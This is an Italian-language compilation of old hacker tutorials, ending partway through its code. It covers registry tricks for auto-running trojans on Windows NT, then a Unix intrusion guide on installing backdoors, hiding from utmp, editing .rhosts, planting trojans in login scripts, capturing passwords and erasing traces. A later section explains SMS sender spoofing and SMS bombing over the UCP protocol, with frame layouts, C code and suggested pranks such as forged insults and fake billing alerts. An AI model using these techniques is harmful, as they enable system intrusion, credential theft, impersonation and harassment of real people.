mentre per abilitare quello della seriale basta selezionare Parameters (anziche` PPP) come ultimo valore della key.

Una cosa molto utile e` la possibilita` di eseguire le applicazioni che abbiamo inviato (troiani, ad esempio) e per farlo possiamo modificare una di queste due keys...

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD

aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo dell'applicazione, oppure...

HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command

per sfruttare il metodo delle associazioni (file di testo, in questo caso)

per eseguire la nostra applicazione.

Il vantaggio della prima key e` che l'applicazione verra` eseguita a Ring-0
(quindi con accesso completo sul sistema operativo e sulle sue risorse, anche
a basso livello, su memoria, disco rigido, ecc).

Buon hacking con NT...

:: LoRD SHiNVA ::

-Digital Alliance Confederation-

VAI AL VOLUME 13

Lord Shinva
-DiGiTAL::ALLiANCE-
C : 0 . N : F . E : D . E : R . A : T . i : 0 . N
Enciclopedia dell' Hacking
Volume 13

VIRTUOSISMI TECNICI: PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Questo file conclude il capitolo iniziato nel volume 11, sulle tecniche avanzate di hacking su Unix (da leggere quando sarete piu` esperti). Alcune di queste tecniche sono abbastanza conosciute, mentre altre sono (relativamente) nuove.

Ricordate sempre che:

- fare del port surfing (connettersi via Telnet alle porte di un server per trovare vie d'accesso non controllate e informazioni utili) e studiare il funzionamento dei servizi leggendo le RFC presenti su Internet e` utilissimo per scoprire molte vulnerabilita` di un generico sistema; vi meraviglierete di quello che potrete trovare: outdial (collegamenti via modem che vi permettono di telefonare ovunque nel mondo, anche a casa vostra, digitando comandi standard Hayes direttamente nel modem del server che state hackerando), liste di informazioni sulla struttura interna del network (come nel caso della porta 15, detta "netstat"), possibilita` di manipolare un servizio per fare le cose piu` disparate e attacchi all'integrita` del sistema, per dirne qualcuna...

- installare una backdoor e` spesso necessario: anche se al momento il SysAdmin non sa della vostra presenza, prima o poi se ne accorgera` ed eliminera` il vostro account; inoltre dai log potrebbe risalire al modo in cui siete "entrati" nel sistema, e correggere il problema: in tal caso, installare una backdoor preventivamente (cancellando le tracce di ogni operazione come descritto in uno dei precedenti volumi) e` indispensabile;

Ecco altri consigli piu` o meno avanzati:

- nascondetevi da utmp e dai comandi come "who" utilizzando il programma incluso in uno dei precedenti volumi, in modo che nessuno potra` notare la vostra presenza del sistema (per maggior sicurezza collegatevi di notte o al mattino presto);

- manipolate i file .rhost per poter accedere senza restrizioni da remoto;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- se siete in grado di programmare e conoscete *bene* Unix, potete
  installare delle nuove chiamate di sistema che svolgano le operazioni che
  vi servono (una per la gestione dei file e dei loro permessi, una di
  riserva per l'esecuzione shell, e cosi` via) e disabilitare i controlli
  per l'accesso root al sistema, manipolando la kernel (argomento troppo
  complicato per poter essere spiegato in questi volumi);

- se avete accesso in scrittura a /dev/kmem cambiate il vostro userid; se
  invece avete solo accesso in lettura, scrivete un programmino in C che
  intercetti le sessioni degli altri terminali (TTY) per intercettare le
  password degli altri utenti;

- modificate i permessi d'accesso dei file piu` interessanti, come /dev/mem
  e copiate la shell /bin/sh nella vostra directory utente, in una directory
  nascosta (oppure un .term) sotto falso nome e create degli script SUID;

- editate gli script (.login .profile .cshrc ecc...) per installare troiani;

- controllate se esistono password nel file .netrc (potrebbero esservi
  utili per accedere ad altri account);

- provate sempre ad utilizzare i programmi in modo "non previsto" ;) per
  trovare nuovi bugs: scrivendo !/bin/sh nella schermata di un comando come
  "more" o "man", ad esempio, potreste riuscire ad accedere alla shell...

- fate lo stesso con le chiamate di sistema, passando loro parametri non
  previsti;

- controllate i file system utilizzando il comando showmount e state attenti
  ai permessi... potreste trovare intere partizioni accessibili a chiunque!

- controllate l'esistenza dei seguenti bugs:

```
lpr -r nomefile          stampera` il file e lo cancellera` (utile in
                         caso di file per i quali non avete permessi)
su username -c /bin/sh   dara` accesso a /bin/sh all'account username
```

- esplorate i file SUID utilizzando il comando:

```
find / -perm -6000 -ls
```

  per accedere a uno di essi, basta utilizzare il comando "ln" per creare un
  link al file interessato, con il nome "-i", e quindi eseguire il link cosi`
  creato;

- eliminate SEMPRE le vostre tracce e prendete ogni precauzione nel
  collegarvi e nel fare qualsiasi cosa: questo vale tanto per un semplice
  provider che per un mainframe del Pentagono (forse un po` di piu` in
  quest'ultimo caso... ;)

Un buon metodo per trovare informazioni di ogni tipo (username e password di
altri utenti - anche di root, se siete fortunati - posta elettronica di altri
e intere sessioni di chat, per citarne alcune) e` creare un programmino in C
che allochi quanta piu` memoria possibile, e poi cercare nel blocco allocato
(oppure salvare l'intero blocco e scaricarselo per controllarlo con piu`
calma).
Cio` che accade e` questo: per soddisfare la vostra richiesta di spazio in
memoria, il sistema mettera` a disposizione quella usata in precedenza dalle
altre applicazioni, senza pero` preoccuparsi di ripulirla! =)

TORNA ALLA HOME

PROTEGGI IL TUO PC By Franz! my e-mail franzthehacker@libero.it

DEDICO QUESTA BREVE GUIDA CHE SPAZIA FRA VARI TEMI AGLI AMICI E FRATELLI DEL GRUPPO WWW.ZEROHACK.IT e WWW.HACKERALLIANCE.NET DI CUI FACCIO PARTE USATELA CON ATTENZIONE

Ho pensato di chiamare cosi' questa mia dissertazione sulla sicurezza e sul mondo di Internet in generale anche se in realta' e' un testo abbastanza semplice e descrittivo su quanto si puo' effettuare/realizzare in qual vasto mondo o hard disk virtuale per come lo vedo io che è Internet. Tralasciamo le solite banalita' su com 'e' nata Internet (collegamento in dati fra le maggiori reti di calcolo delle Universita' Americane hehe non ho resistito) e partiamo.

Con l'aumentare delle connessioni ed accessi gratuiti ad Internet, è anche aumentato il numero degli "smanettoni" e dei curiosi, che per un motivo o per un altro, cercano di sfondare i sistemi di protezione ed accedere ai computer altrui. E' sbagliato ritenere che siano solo i grossi server a subire queste intrusioni, sono in aumento anche gli attacchi verso i PC domestici, o le piccole reti, la cui protezione spesso lascia a desiderare. Peggio ancora possono essere utilizzati come ponte, una volta sfondate le loro protezioni possono essere utilizzati verso altri "bersagli" facendo in modo che il vero attaccante resti sconosciuto. Queste intrusioni sono ancora piu' verosimili con il diffondersi di connessioni tipo ADSL, con tariffa flat (connessione permanente ad internet) cosi' l'utente domestico, che non si preoccupa mai della sicurezza, ritiene di non essere il possibile bersaglio di una intrusione…presunzione che paga dopo aver sperimentato di persona la stessa.
Facciamo un passo indietro..al 1998 quando il trojan back orifice non era ancora marcato come tale dagli antivirus ed era diffusissimo (ancora oggi per chi non si e' munito di un antivirus e' a rischio). Bastava eseguire uno scan delle porte su un range di 255 indirizzi di un qualsiasi provider nazionale per trovare una media dai 3/4 pc infetti. Se back orifice fosse stato rilasciato oggi quali sarebbero i risultati? Devastanti! Comunque anche oggi la diffusione dei virus tramite posta elettronica mette in ginocchio aziende anche di grandi dimensioni. E' nata l'era dei Worm, quelli che si autoeseguono con il semplice preview della posta elettronica (grazie anche ad outlook di Microsoft) e si autospediscono in allegato a tutti gli indirizzi presenti in rubrica.

I FIREWALL

Tradotto letteralmente significa "Muro Antincendio". Si intende in realta' un dispositivo hardware o software in grado di filtrare i protocolli ammessi o non ammessi in entrata o in uscita in rete, bloccare determinate porte o consentire il passaggio tramite alcune determinate dal gestore della macchina in questione. Inoltre normalmente tali firewall generano dei log (report) in grado di identificare come, quando e tramite quali porte e' stato effettuato l'attacco/intrusione.

Norton Personal Firewall Event Log

Log Edit Help

Content Blocking | Connections | Firewall | Privacy | System | Web History

Refresh

Date	Time	Message
13/12/01	11.14.42	Unused port blocking has blocked communicati...
13/12/01	11.14.39	Unused port blocking has blocked communicati...
13/12/01	11.13.10	Unused port blocking has blocked communicati...
13/12/01	11.13.07	Unused port blocking has blocked communicati...
13/12/01	11.08.29	Unused port blocking has blocked communicati...
13/12/01	11.08.26	Unused port blocking has blocked communicati...
13/12/01	11.08.03	Unused port blocking has blocked communicati...
13/12/01	11.08.00	Unused port blocking has blocked communicati...
13/12/01	11.04.47	Unused port blocking has blocked communicati...
13/12/01	11.04.44	Unused port blocking has blocked communicati...
13/12/01	11.03.15	Unused port blocking has blocked communicati...
13/12/01	11.03.12	Unused port blocking has blocked communicati...
13/12/01	11.03.02	Unused port blocking has blocked communicati...
13/12/01	11.02.59	Unused port blocking has blocked communicati...
13/12/01	11.00.48	Unused port blocking has blocked communicati...
13/12/01	11.00.45	Unused port blocking has blocked communicati...
13/12/01	11.00.02	Unused port blocking has blocked communicati...
13/12/01	10.59.59	Unused port blocking has blocked communicati...
13/12/01	10.55.32	Unused port blocking has blocked communicati...
13/12/01	10.55.29	Unused port blocking has blocked communicati...
13/12/01	10.53.13	Unused port blocking has blocked communicati...

Date: 13/12/01 Time: 11.14.42
Unused port blocking has blocked communications. Details:
Inbound TCP connection
Remote address,local service is (10.10.173.11,http)

Esempio di log di un firewall eseguito su una LAN (rete locale aziendale)

Nel caso di un utente domestico la miglior scelta economica e' senzaltro quella di un firewall di tipo software, convenienti anche in quanto sono abbastanza efficaci relativamente alla privacy durante la navigazione intesi come blocco dei cookie, e-mail del navigatore etcc.

LA SICUREZZA NELLE E-MAIL

La rete internet e' costituita da milioni di nodi, i dati transitano da uno all'altro prima di arrivare a destinazione, cosa succederebbe se qualcuno si mettesse "in ascolto" su uno di questi nodi' Esistono molti modi per mettersi in ascolto, quello piu' semplice e' costituito da un semplice *Sniffer,* un programma software utilizzato per monitorare le reti in caso di problemi, ma che puo' essere utilizzato anche per "altri" scopi, come in questo caso citato. In realta' esistono molti tipi di *Sniffer* sia hardware che software (Carnivore, Echelon solo per citare i piu' famosi)

Traffico deviato dall'ISP al punto di accesso dell'FBI

Dati originali

Copia dei dati

Filtro

Il filtro di selezione di Carnivore analizza tutti i pacchetti di dati in transito in una specifica sottorete, acquisendo solo quelli utili alle indagini

Esempio di come funziona il SW di Carnivore

Figura 1

Switch o Hub

Filtro d'intercettazione unidirezionale

Sottorete in cui opera il soggetto indagato

Carnivore Computer raccolta dati

Collegamento telefonico

Carnivore Computer di controllo

L'architettura di Carnivore, così com'è stata ricostruita da uno studio tecnico indipendente autorizzato dal Dipartimento di Giustizia degli Stati Uniti

Esempio 2 di come Carnivore e' stato realizzato negli USA

Il “Vero” nome di Carnivore e’ DCS 1000 al cui acronimo l’FBI dice che non ha alcun significato, e’ uno strumento passivo. Raccoglie informazioni, ma non interagisce con il Network ne’ invia dati in rete. Larchitettura come illsutrato nelle precedenti figure, comprende un sistema di controllo monodirezionale (dalla rete a Cernivore), che intercetta il flusso dati, un computer collocato presso il provider con funzioni di filtro che raccoglie i dati, un collegamento telefonico criptato via modem su una linea riservata, uno o piu’ computer remoti per il controllo della raccolta dati e l’esame dei risultati. Il filtro e’ molto sofisticato e permette di isolare i dati secondo diverse chiavi: indirizzo IP, protocollo utilizzato (qualunque Http, FTP, Https, Smtp, Pop3, Imap, Ccmail, etcc). Per capire meglio ecco di seguito una schermata di settaggio di Carnivore (inedita hehe).

Inoltre esiste documentazione del governo Americano in cui si autorizza l’uso di strumenti di intercettazione come questi, ecco di seguito un documento declassato da Top Secret dell’FBI.

SECRET

To: Finance Division From: Information Resources
Re: (U) 268-HQ-1217551, 07/11/1997

(S) The Networks Access Development Unit has been tasked to intercept [redacted] based networks for several operations. [redacted] has been installed in mass quantities throughout the Internet community. It is still being deployed in industry as a point-to-point network technology. [redacted] should be in use well into the future.

(S) The development of an [redacted] Internet intercept will allow this system to be deployed in an Internet Service Provider (ISP) location without calling undue attention to itself. Physically the OMNIVORE system is a desktop PC. Its operating system is Solaris X.86 with a network interface card matching the physical layer to be intercepted.

(S) The OMNIVORE system presently intercepts IP packets based on a known IP address or in the case of the simple mail transport protocol it triggers on a known user name. The enhancements being requested are to expand the triggering capabilities of OMNIVORE to include real-time IP assignments. It is fairly routine that ISPs allocate IP addresses dynamically.

(U) The enclosed SOW gives a broad scope of the tasks to be completed for this development. The enclosed requisition is to fund this effort.

(U) This contract effort will use the existing GSA Telecommunications Support Contract II. Contract Officer [redacted] [redacted] is assigned to this contract.

(U) The Program Manager for this effort is Electronics Engineer [redacted] The Project leader for this effort is Electronics Technician [redacted]

b2-2
b7E-1
b6-1
b7C-1

SECRET

Documenti top secret su Carnivore declassificati dall'Fbi

Mentre per quanto riguarda Echelon mi limitero' a darvi una "Parziale" mappatura della struttura conosciuta attualmente.

Per tornare al discorso relativo alla posta elettronica il modo migliore di garantirsi la riservatezza consiste nell'utilizzare dei sistemi di cifratura, il piu' conosciuto e' PGP. Ha avuto maggior diffusione grazie alla disponibilita' del codice sorgente, della distribuzione freeware ed alla sicurezza degli algoritmi di cifratura. Il programma e' reperibile presso www.nai.com

IL DENIAL OF SERVICE

Con questo acronimo si intende un attacco il cui scopo e' quello che prevede un attacco che provochi l'interruzione delle funzioni di un sistema (consultazione pagine web, posta elettronica, upload tramite ftp). Come si capisce lo scopo non e' quello di acquisire privilegi di un certo livello sulla macchina attaccata, quanto quello di impedire ad essa di funzionare. Tuttavia, questi attacchi potrebbero essere concepiti per penetrare una macchina: un DoS che non permetta allo Stack Tcp/Ip di rispondere ad un determinato pacchetto puo' essere uno strumento di base per un'intrusione tentata in un momento successivo. I DoS sono di vari tipi alcuni agiscono su errori di programmazione o configurazione (i buffer overflow in lettura causati dalla gestione non appropriata del parsing, input scelti dall'utente che si realizzano nell'esecuzione continua di parti di codice o nella mancanza di time-out su alcune operazioni). Ve ne sono altri invece cheper la natura stessa dei sistemi verso i quali sono rivolti non possono essere fermati.

STACK TCP/IP, WINNUKE, SPOOFING

Negli ultimi anni si e' assistito ad un moltiplicarsi di attacchi di DoS che colpiscono gli Stack Tcp/Ip dei sistemi operativi: molti ricorderanno nomi come WinNuke, Land, TearDrop. Per questi tipi di attacchi esistono in rete molti programmi gia' pronti per l'uso. Le probabilita' che l'attaccante venga individuato sono contenute perche' i punti deboli del sistemapossono essere sfruttati servendosi di pacchetti con un indirizzo source falso (spoofing). Si tratta di DoS che hanno breve durata, che una volta terminati il sistema attaccato riprende piena funzionalita'.

Un altro Dos Famoso e' il Syn Flood. Il Syn e' il pacchetto iniziale di una connessione Tcp/Ip: quando questo viene diretto verso una porta in ascolto, riserva una parte delle risorse a una nuova connessione possibile. L'attacco consiste nel lo spedire una grande quantita' di pacchetti Syn che arrivano da un sorgente non in grado di resettare il Syn/Ack (acknoledge del pacchetto Syn ovvero l'ok ricevuto). Che ricevera' in risposta al Syn. Cosi' facendo il sistema attaccato continuera' a riservare risorse per ogni pacchetto di Syn ricevuto fino ad andare in crash. Questo attacco puo' essere bloccato mediante dei firewal che ad esempio se si volesse limitare il numero di connessioni in base all'IP sorgente, ma si potrebbe neutralizzare ricorrendo allo spoofing (modificando ad ogni pacchetto di Syn l'IP sorgente).

Un altro tipo di attacco si basa sul concetto di amplificazione: un amplificatore e' un sistema targhet che risponde ad un pacchetto "spoofabile" di una certa dimensione con un pacchetto di dimensioni maggiorie con una "sottorete" che rispondono contemporaneamente ad un solo pacchetto. L'esempio tipico e' lo *Smurf* . L'attaccante esegue uno Spoofin utilizzando come IP sorgente, quello del sistema attaccato o spedisce un Icmp di echo-request sull'indirizzo di una rete mal configurata. Tutti i targhet e la sottorete risponderanno contemporaneamente allo stesso pacchetto, ma le risposte si

auto-indirizzeranno verso il targhet. Detta in poche parole con un attacco spedendo 10 Kb/sec. si puo' raggiungere una potenza di 1000 Kb/sec.

I Dos distribuiti DdoS

Sono decisamente i piu' temibili, in quanto originati da molti sistemi verso un unico targhet, questo consente di aumentare la portata dell'attacco e prendere di mira dei sistemi targhet di dimensioni notevoli.
La struttura e' cosi' costituita: la postazione di controllo, gli host (i sistemi remoti controllati) e il targhet.
Si puo' prevedere che i pacchetti dalla postazione di controllo passino per pacchetti "spoofati" per rendere piu' difficoltosa la ricerca della postazione di controllo. Alcuni DoS sono basati su caratteristiche del protocollo Tcp/Ip, mentre i DoS che si basano su un ingente numero di connessioni sono impossibili da evitare. Se lo Spoofing fosse impossibile molti problemi no ci sarebbero, e' per questo che molti Isp hanno settato delle regole anti-spoofing in uscita sui loro router. Attualmente l'unico rimedio e' quello di impiegare maggiori risorse per ottenere il medesimo effetto.

INTRUSIONI

Programmi di messaggistica chat come ICQ o client IRC vengono erroneamente a volte interpretati come possibili vie di intrusione sul proprio pc. I SW in questione non contengono bugs di questo tipo, in realta' e' che hanno la possibilita' di ricevere dei files eseguibili che nascondo dei tools di amministrazione remota (come back orifice, netbus, etc). L'individuazione e la rimozione di tali trojan sono abbastanza semplici, con un semplice antivirus aggiornato con le firme piu' recenti oppure mediante dei kit di rimozione messi gratuitamente a disposizione delle stesse aziende produttrici di SW antivirus. I sistemi Unix sono decisamente vulnerabili in forza dei servizi di rete presenti e attivi, backdoor lasciate aperte dai programmatori diventano la miglior via di intrusione, utilizzando *Password Cracking* (un programma che cerca le password di un account esistente), *CronJob, Rhosts ++ Backdoor (*per modificare le autorizzazioni di pc connessi a una Lan) o *Rootkit* (cerca password,nasconde il funzionamento di processi in corso, cancella i log nasconde cartelle o file).

I TROJAN

Il piu' famoso e' sicuramente Netbus, creato dai Cult of Dead Cow, e' disponibile per win 95/98/NT permette una serie di giochetti da remoto come aprire e richiudere il lettore cd-rom, inviare messaggi via IRC, etcc. Per comunicare usa il protocollo Tcp/IP usando le porte 12345 e 12346, per verificare se e' presente su un pc basta digitare il netstat dal prompt del dos, oppure tentare una sessione telnet sulla porta 12345 del local host. Se fosse presente si avrebbe una striga del tipo "Netbus 1.53 o Netbus 1.60x sarebbe mostrata alla connessione. E' prevista la possibilita' di bloccare l'accesso al server tramite una password anche se in questa modalita' c'e un bugs del programma per il quale basta digitare come password "password;1;password" alla richiesta di login e si e' dentro. Un altro trojan meno noto e' Master's Paradise per Win 95/98, la sua strategia e' quella di fondersi con programmi esca (sempre .exe). Al pc infetto viene sovrascritto il file SysEdit nella cartella c:\windows\system.

SMS SPOOFING

Come tutti sanno, gli SMS sono quei simpatici agglomerati di 160 caratteri che vagano per la rete GSM. Allegri, teneri, cattivi, pesanti o rompikazzo, questa massa di bit entra sempre piu' spesso nella nostra vita. La gente normale si fida degli sms.
Se arriva un messaggio da "MARCO CELL" allora significa che sicuramente l'ha inviato il cellulare di Marco. Ma ne siamo cosi' sicuri? Esiste il modo di contraffare il numero del mittente di un SMS? La risposta (che potete gia' intuire dal titolo) la troverete nelle prossime righe.

Ma prima parliamo un po' delle conseguenze. Cosa si puo' fare con un SMS spoofato ovvero con un sms con il numero del mittente scelto da noi? Il fatto che normalmente sia impossibile modificare il numero sorgente di un messaggio trasforma tutto quello che arriva attraverso un sms in oro colato. Situazione: due conoscenti, preferibilmente facili all'inkazzatura, e due cellulari. A ciascuno dei due mandate un messaggio con il numero dell'altro come mittente e con scritte sopra le peggiori offese che vi vengono in mente. Risultato: i due si scanneranno telefonicamente per circa un'ora e poi dovrete intervenire per spiegare lo scherzo, perche' rischierete che si degeneri nella rissa, visto che tutti e due penseranno che sia l'altro a fare il coglione. Ma questo e' uno scherzetto banale. Una cosa un po' piu' cattiva e' prendere come vittima una bella coppietta... quelle che sono solite mandarsi tanti sms teneri e sdolcinati... e spedire a uno dei due con il num dell'altro una bella frase presa dal peggiore film porno amatoriale. Oppure se un vostro amico ha Omnitel, mandare un messaggio dal numero 2010 con scritto "Addebito SMS L 124000", sul momento vi assicuro gli viene un colpo al cuore.

Passiamo alla parte tecnica. Spesso gli operatori di telefonia mobile offrono il servizio di invio sms tramite appositi SMS-Gateway raggiungibili via modem. Sono la stessa cosa dei vari servizi presenti su internet, solo che in questo caso non devi compilare una form web, ma ti colleghi via telefono e ottieni il servizio attraverso un protocollo di comunicazione. E' un'attimo un piu' laborioso, c'e' da fare una telefonata e utilizzare un programma adatto, pero' questo sistema ha diversi vantaggi che cerchero' di spiegare.

Cerchiamo prima di tutto di dare un'occhiata al protocollo usato in queste occasioni.
Da quello che ho potuto vedere se ne usano principalmente due: il TAP e l'UCP. L'UCP e' piu' rapido e intuitivo. In sintesi nel protocollo UCP (Universal Computer Protocol... che nome micidiale) si invia una trama formattata in questo modo:

<STX> HDR DATA CRC <ETX>

dove <STX> e <ETX> sono i caratteri di start-stop rispettivamente 02h e 03h.

L'header (HDR) contiene alcuni sottocampi separati dal carattere '/'

TRN/LNG/OR/OPN

TRN [2 NUMERIC CHAR] e' il numero della transizione (casuale) e varia
fra 0 e 99
LNG [5 NUMERIC CHAR] la lunghezza della trama ovvero quanti caratteri ci sono
fra <ETX> e <STX>
OR [1 CHAR] puo' essere il carattere 'O' che indica la richiesta di
servizio o il carattere 'R' che indica risposta a una
richiesta
OT [2 NUMERIC CHAR] e' il codice dell'operazione richiesta ed e' il parametro
piu' interessante.

La lista dei servizi e' elencata (come del resto tutti gli altri parametri tecnici) nel doc di definizione del protocollo UCP che e' compreso nel documento "ETS 133-3" prodotto dall'ETSI, ovvero l'ente che in europa si occupa di gran parte degli standard in materia di telecomunicazioni.

I servizi piu' interessanti alla fine pero' sono due: lo 01 e lo 02.

01 Invio di un singolo SMS
02 Invio di un SMS multiplo

Esempio di header 01/00020/O/01

Il campo DATA varia da servizio a servizio. Per lo 01 e' composto da questi sottocampi:

AdC/OAdC/OAC/MT/AMsg

AdC [STRING OF NUM CHAR] E' il numero del destinatario del messaggio
visto che di solito i gateway sono fuori dall'italia
il numero e' meglio scriverlo ad esempio come:
0039347000000 dove 0039 e' sempre presente
OAdC [STRING OF NUM CHAR] E qui casca l'asino! Questo e' il numero sorgente
del messaggio! Qui potete metterci qualsiasi serie
di caratteri fra 0 e 9. Anche tipo 666 o 123456 o
0000000.
Se pero' notate i messaggi autentici indicano il
numero del mittente come +39ecc. Purtroppo il '+'
non si riesce a mettere e i vostri messaggi al
massimo possono arrivare da un 0039ecc.
OAC [STRING OF CHAR] Codice di autentificazione del mittente. Non so a
che cazzo serva. Va lasciato in bianco.
MT [1 NUM CHAR] Tipo di messaggio. Qui va messo sempre 3 che indica
un messaggio alfanumerico.
AMsg [STRING OF CHAR] Il messaggio vero e proprio.

Per l'AMsg va fatta una piccola digressione. Il testo non e' scritto in chiaro, ma va codificato in stringhe IA5. Sembra una cosa cazzuta, invece semplicemente si tratta di scrivere i caratteri con la loro codifica ascii invece che in chiaro. Questo perche' quei pippaioli degli ingegneri che hanno redatto il protocollo volevano inserire un controllo di errore in piu' visto che per inviare un carattere cosi' bisogna mandarne due.

Cosa forse inutile, visto che l'ultimo campo CRC e' un controllo di errore. Questo paramentro sono due caratteri che costituiscono un numero in esadecimale. Il numero si ottiene prendendo le ultime due cifre significative (esadecimali) o della somma di tutti i caratteri che compongono header e data.

Ecco la procedura che fa questa somma

```
void UCP_generate_checksum(char *buf, char *crc)
{
        char    *ptr;
        int     j;


        j = 0;
        for (ptr = buf; *ptr != '\0'; ptr++)
        {
                j += *ptr;

                if (j >= 256)
                {       j -= 256;
                }
        }

        sprintf(crc,"%02X", j);

}
```

Dunque se noi volessimo mandare un sms al numero 0039347123456 da numero 666 con testo "Satana ti vede" ecco cosa dovremmo comunicare al nostro gateway di fiducia.

<STX>01/00066/O/01/0039347123456/666//3/536174616E612074692076656465/F6<ETX>
-----| HEADER | DATA (S a t a n a t i v e d e)|CRC|---

Se la nostra query e' stata accettata il gateway rispondera piu' o meno cosi'

<STX>01/00045/R/01/A/0039347123456:090800114008/A0<ETX>

la vostra richiesta e' in questo momento nello stack del server che dopo poco la inoltrera' alla rete GSM che la smistera' fino alla stazione base a cui e' collegato il cellulare del destinatario dove verra' sparato via etere. Tutto questo nel giro di 10 secondi se non ci sono intasamenti nel gateway o nella rete GSM.

Ma come vi ho accennato c'e' anche un servizio 02 che e' molto interessante. Dipende da gateway a gateway, solo alcuni ve lo lasceranno usare visto che e' un'opzione che impiega parecchie risorse. Se e' attivo avete infatti la possibilita' di inviare fino a 20 sms in un'unica botta, ovvero il famoso sms multiplo. Inviare lo stesso messaggio a 20 persone diverse puo' essere utile? Non lo so,ma si possono fare tante cose divertenti. Esempio. Prendete una lista di 20 numeri di cell fra amici e conoscenti possibilemente singles. Prendete un vostro amico a cui volete fare un scherzo. Mandate un sms multiplo ai 20 numeri con numero sorgente il cell della vittima e con scritto: "Un nostro
amico comune mi ha dato il tuo numero. Mi piaci molto e vorrei conoscerti. Ti dice qualcosa il 3 luglio ?" Nonostante il 3 luglio non sia successo niente io sarei comunque curioso di sapere chi e' questo soggetto/soggetta e chiamerei il numero. Ma chi chiamo in realta'? Il numero della vittima ignara di tutto che si subisce 20 telefonate nel giro di pochi minuti! Dunque cosa ho ottenuto... un sms smurf!! :)) Veramente troppo divertente.

Se invece vogliamo fare piu' una cosa da DoS puro invece di mandare al gateway una lista di 20 numeri diversi, mandiamo un sms multiplo con 20 numeri tutti uguali. Cosa succede? Il gateway non si accorge che i numeri sono tutti uguali e piazza nello stack tutti i messaggi insieme senza attese. In circa 1 minuto il cellulare della vittima verra' bombardato da 20 sms filati, opure 40 se facciamo 2 chiamate e cosi' via... in sintesi vi assicuro che mandate in sklero il povero individuo che ricevera' questo sms bombing. Da usare con cura anche perche' magari si inkazza sul serio... e poi magari il gestore del server sms si rompe e dopo nessuno fa piu' niente...

Il campo DATA del servizio 02 e' il seguente:

NPL/RAd:s/OAdC/OAC/MT/AMsg

NPL [STRING OF NUM CHAR] indica quanti sono gli sms da inviare e corrisponde
ai numeri di telefono che seguiranno dopo, ovvero
se e' 3 dopo dovremmo inserire 3 numeri di
destinatari
RAd:s[STRING OF NUM CHAR] lista dei numeri dei destinatari. Vanno semparati
sempre con il carattere '/'. Esempio
'0039347123456/0039347543210/0039347234765'
OAdC [STRING OF NUM CHAR] come sopra
OAC [STRING OF CHAR] come sopra
MT [1 NUM CHAR] come sopra
AMsg [STRING OF CHAR] come sopra

Ora, ma io come ci parlo con il server? Be' ci sono mille modi, potete usare qualche programmino scritto da voi, emulatori di terminale, qualsiasi cosa spari dei caratteri su una connessione aperta con un modem. Io con ISDN
ho usato la possibilita' di sfruttare l'emulazione AT e ho trovato un programmino davvero ben fatto che si chiama sms_client (http://www.styx.demon.co.uk) adatto al nostro scopo.
Ok, non proprio adatto, con quello potete mandare sms attraverso gateway, ma non usare tutte le possibilita' offerte dall'UCP e viste poco sopra. Per lasciare piu' liberta' di azione ho modificato leggermete questo programma.

Vi spiego la mia modifica e come mandare messaggi.

Prima cosa. Scaricatevi il programma, il file si chiama
smsclient_2.0.8r.tar.gz (http://www.styx.demon.co.uk/archive/sms_client-2.0.8r.tar.gz). Scompattate. Fate il classico make, make install e se non avete fatto casini vi troverete sotto /etc la dir 'sms' che contiene tutti i settaggi del
programma. Dentro questa dir va editato il file sms_modem che contiene i settaggi del vostro modem. C'e' anche una sottodir 'services', dentro questa ci sono i file che corrispondono ai gateway sms sparsi per il mondo. Ovviamente ce ne

sono solo alcuni e per giunta quelli piu' conosciuti. Questo implica che sono quelli piu' usati e che solitamente lasciano menopossibilita' di smanettare e di divertirsi. Sta a voi recuperare altri numeri di qualche gateway piu' disponibile. Spesso per fare andare il prog cambiate il '+' nel numero del gateway impostato in questi file con '00' da chiamata internazionale (okkio a non stare collegati troppo, nell 99% dei casi chiamate qualche paese estero).

A questo punto vi allego il mio codice. La mia modifica e' imbecille, uno scimmione del kongo farebbe di meglio, dunque forse se avete un po' di voglia lavorateci da soli per ottenete qualcosa di piu' pratico...

Quello che segue va salvato come file ucp.c

```
<-| ucp.c |->
/* -------------------------------------------------------------------- */
/* Variante del file ucp.c per sms_client                               */
/* -------------------------------------------------------------------- */

#include <stdio.h>
#include <string.h>
#include <stdarg.h>

#include "common/common.h"
#include "logfile/logfile.h"
#include "driver.h"
#include "error.h"
#include "ascii.h"
#include "comms/comms.h"
#include "resource/resource.h"

/* -------------------------------------------------------------------- */

static struct ucp_env
{
	DRIVER_DEFAULT_ENV def;

	/* Place any extended driver	*/
	/* variables here		*/

} driver_env;

/* -------------------------------------------------------------------- */

static	RESOURCE resource_list[] =
	{
		{ RESOURCE_STRING,  "SMS_comms_params",
	0, 1, NULL, 0,  "8N1",	0,	&(driver_env.def.comms_params)
		},
		{ RESOURCE_STRING,  "SMS_centre_number",
	0, 1, NULL, 0,  NULL,	0,	&(driver_env.def.centre_number)
		},
		{ RESOURCE_NUMERIC, "SMS_baud",
	0, 1, NULL, 0,  NULL,	9600, &(driver_env.def.baud)
		},
		{ RESOURCE_NUMERIC, "SMS_deliver_timeout",
	0, 0, NULL, 0,  NULL,	30,   &(driver_env.def.deliver_timeout)
		},
		{ RESOURCE_NUMERIC, "SMS_timeout",
	0, 0, NULL, 0,  NULL,	10,   &(driver_env.def.timeout)
		},
		{ RESOURCE_NUMERIC, "SMS_write_timeout",
	0, 0, NULL, 0,  NULL,	10,   &(driver_env.def.write_timeout)
		},
		{ RESOURCE_NUMERIC, "SMS_max_deliver",
		0, 0, NULL, 0,  NULL,	1,    &(driver_env.def.max_deliver)
```

```
		},
		{ RESOURCE_NULL,	NULL,
		0, 1, NULL, 0,  NULL,	0,	NULL
		}
	};

/* ------------------------------------------------------------------- */

#define DELIVERTIMEOUT			(driver_env.def.deliver_timeout)
#define TIMEOUT				(driver_env.def.timeout)
#define WRITETIMEOUT			(driver_env.def.write_timeout)

/* ------------------------------------------------------------------- */

#define FD				(driver_env.def.fd)

/* ------------------------------------------------------------------- */

static int UCP_sendmessage(char *msisdn, char *message);
static int UCP_parse_response(char *string);
static void UCP_hangup(void);
static char *UCP_generate_checksum(const char *fmt, ...);
static char *UCP_build_message(char *msisdn, char *message);
static char *UCP_build_transaction(int transaction_id, char transaction_type,
                         int operation_type, const char *fmt, ...);

/* ------------------------------------------------------------------- */
/* ------------------------------------------------------------------- */
static char *UCP_generate_checksum(const char *fmt, ...)
{
	va_list args;
static	char	buf[1024];
	char	*ptr;
	int	j;


